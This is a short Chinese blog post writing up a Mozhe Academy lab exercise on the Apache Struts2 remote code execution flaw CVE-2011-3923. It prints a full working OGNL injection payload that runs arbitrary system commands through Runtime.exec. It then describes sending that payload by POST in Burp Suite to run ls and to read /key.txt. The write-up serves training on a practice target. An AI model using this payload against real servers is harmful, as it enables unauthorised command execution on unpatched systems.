美文网首页
墨者学院-Apache Struts2远程代码执行漏洞(S2-0

墨者学院-Apache Struts2远程代码执行漏洞(S2-0

作者: nohands_noob | 来源:发表于2019-07-16 14:19 被阅读0次

靶场地址:
https://www.mozhe.cn/bug/detail/aTdoM2t0N1JWOGE5Y1daL0Q1RnQ2Zz09bW96aGUmozhe

漏洞编号:CVE-2011-3923
影响范围:Struts 2.0.0 - Struts 2.3.1.1
漏洞执行页面:/ajax/example5.action
poc:

age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("[命令]").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

网上的复现中都是以get方式提交poc,但在该靶场中该poc返回了400错误,猜测是由于tomcat版本影响。经过测试后发现该poc可以通过post方式提交利用

打开BurpSuite,以POST方式提交
执行ls命令


返回目录中的文件

执行cat /key.txt命令获得key


获得key

相关文章

网友评论

      本文标题:墨者学院-Apache Struts2远程代码执行漏洞(S2-0

      本文链接:https://www.haomeiwen.com/subject/qtttlctx.html